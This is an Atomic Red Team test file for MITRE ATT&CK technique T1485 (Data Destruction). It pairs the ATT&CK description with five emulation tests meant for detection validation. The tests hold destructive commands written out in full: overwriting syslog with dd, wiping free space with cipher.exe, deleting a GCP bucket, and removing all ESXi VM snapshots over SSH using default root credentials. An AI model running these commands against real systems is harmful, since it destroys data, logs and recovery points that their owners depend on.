atomic-red-team/atomics/T1485/T1485.md

# T1485 - Data Destruction
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1485)
<blockquote>

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).

In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.

</blockquote>

## Atomic Tests

- [Atomic Test #1 - Windows - Overwrite file with SysInternals SDelete](#atomic-test-1---windows---overwrite-file-with-sysinternals-sdelete)

- [Atomic Test #2 - FreeBSD/macOS/Linux - Overwrite file with DD](#atomic-test-2---freebsdmacoslinux---overwrite-file-with-dd)

- [Atomic Test #3 - Overwrite deleted data on C drive](#atomic-test-3---overwrite-deleted-data-on-c-drive)

- [Atomic Test #4 - GCP - Delete Bucket](#atomic-test-4---gcp---delete-bucket)

- [Atomic Test #5 - ESXi - Delete VM Snapshots](#atomic-test-5---esxi---delete-vm-snapshots)


<br/>

## Atomic Test #1 - Windows - Overwrite file with SysInternals SDelete
Overwrites and deletes a file using SysInternals SDelete. Upon successful execution, "Files deleted: 1" will be displayed in
the powershell session along with other information about the file that was deleted.

**Supported Platforms:** Windows


**auto_generated_guid:** 476419b5-aebf-4366-a131-ae3e8dae5fc2





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| sdelete_exe | Path of sdelete executable | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;Sdelete&#92;sdelete.exe|
| file_to_delete | Path of file to delete | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;T1485.txt|


#### Attack Commands: Run with `powershell`! 


```powershell
if (-not (Test-Path "#{file_to_delete}")) { New-Item "#{file_to_delete}" -Force }
& "#{sdelete_exe}" -accepteula "#{file_to_delete}"
```




#### Dependencies:  Run with `powershell`!
##### Description: Secure delete tool from SysInternals must exist on disk at specified location (#{sdelete_exe})
##### Check Prereq Commands:
```powershell
if (Test-Path "#{sdelete_exe}") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/SDelete.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" "PathToAtomicsFolder\..\ExternalPayloads\Sdelete" -Force
Remove-Item "PathToAtomicsFolder\..\ExternalPayloads\SDelete.zip" -Force
```




<br/>
<br/>

## Atomic Test #2 - FreeBSD/macOS/Linux - Overwrite file with DD
Overwrites and deletes a file using DD.
To stop the test, break the command with CTRL/CMD+C.

**Supported Platforms:** Linux, macOS


**auto_generated_guid:** 38deee99-fd65-4031-bec8-bfa4f9f26146





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| overwrite_source | Path of data source to overwrite with | path | /dev/zero|
| file_to_overwrite | Path of file to overwrite and remove | path | /var/log/syslog|


#### Attack Commands: Run with `sh`! 


```sh
dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l #{file_to_overwrite} | awk '{print $5}') iflag=count_bytes
```






<br/>
<br/>

## Atomic Test #3 - Overwrite deleted data on C drive
RansomEXX malware removes all deleted files using windows built-in cipher.exe to prevent forensic recover.
This process is very slow and test execution may timeout. 
https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware
https://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4

**Supported Platforms:** Windows


**auto_generated_guid:** 321fd25e-0007-417f-adec-33232252be19






#### Attack Commands: Run with `command_prompt`! 


```cmd
cipher.exe /w:C:
```






<br/>
<br/>

## Atomic Test #4 - GCP - Delete Bucket
This Atomic will create a Google Storage Bucket then delete it. The idea for this Atomic came from a Rule published by the Elastic team.

Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in order to disrupt their target's business operations.
This atomic will create a bucket then delete the bucket.

Reference: https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml

**Supported Platforms:** Iaas:gcp


**auto_generated_guid:** 4ac71389-40f4-448a-b73f-754346b3f928





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| project_id | ID of the GCP Project you to execute the command against. | string | atomic-test-1|
| bucket_name | The name of the bucket to delete. | string | atomic-red-team-bucket|


#### Attack Commands: Run with `sh`! 


```sh
gcloud config set project #{project_id}
gcloud storage buckets delete gs://#{bucket_name}
```

#### Cleanup Commands:
```sh
cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
terraform state rm google_storage_bucket.bucket
terraform destroy -auto-approve
```



#### Dependencies:  Run with `sh`!
##### Description: Requires gcloud
##### Check Prereq Commands:
```sh
if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi;
```
##### Get Prereq Commands:
```sh
echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install"
```
##### Description: Check if user is logged in
##### Check Prereq Commands:
```sh
gcloud config get-value account
```
##### Get Prereq Commands:
```sh
gcloud auth login --no-launch-browser
```
##### Description: Check if terraform is installed.
##### Check Prereq Commands:
```sh
terraform version
```
##### Get Prereq Commands:
```sh
echo Please install the terraform.
```
##### Description: Create dependency resources using terraform
##### Check Prereq Commands:
```sh
stat "$PathToAtomicsFolder/T1485/src/T1485-4/terraform.tfstate"
```
##### Get Prereq Commands:
```sh
cd "$PathToAtomicsFolder/T1485/src/T1485-4/"
terraform init
terraform apply -auto-approve
```




<br/>
<br/>

## Atomic Test #5 - ESXi - Delete VM Snapshots
Deletes all snapshots for all Virtual Machines on an ESXi Host
[Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#inhibit%20recovery)

**Supported Platforms:** Windows


**auto_generated_guid:** 1207ddff-f25b-41b3-aa0e-7c26d2b546d1





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| vm_host | Specify the host name or IP of the ESXi server. | string | atomic.local|
| vm_user | Specify the privilege user account on the ESXi server. | string | root|
| vm_pass | Specify the privileged user's password. | string | password|
| plink_file | Path to Plink | path | PathToAtomicsFolder&#92;..&#92;ExternalPayloads&#92;plink.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/snapshot.removeall $i & done"
```




#### Dependencies:  Run with `powershell`!
##### Description: Check if we have plink
##### Check Prereq Commands:
```powershell
if (Test-Path "#{plink_file}") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
```




<br/>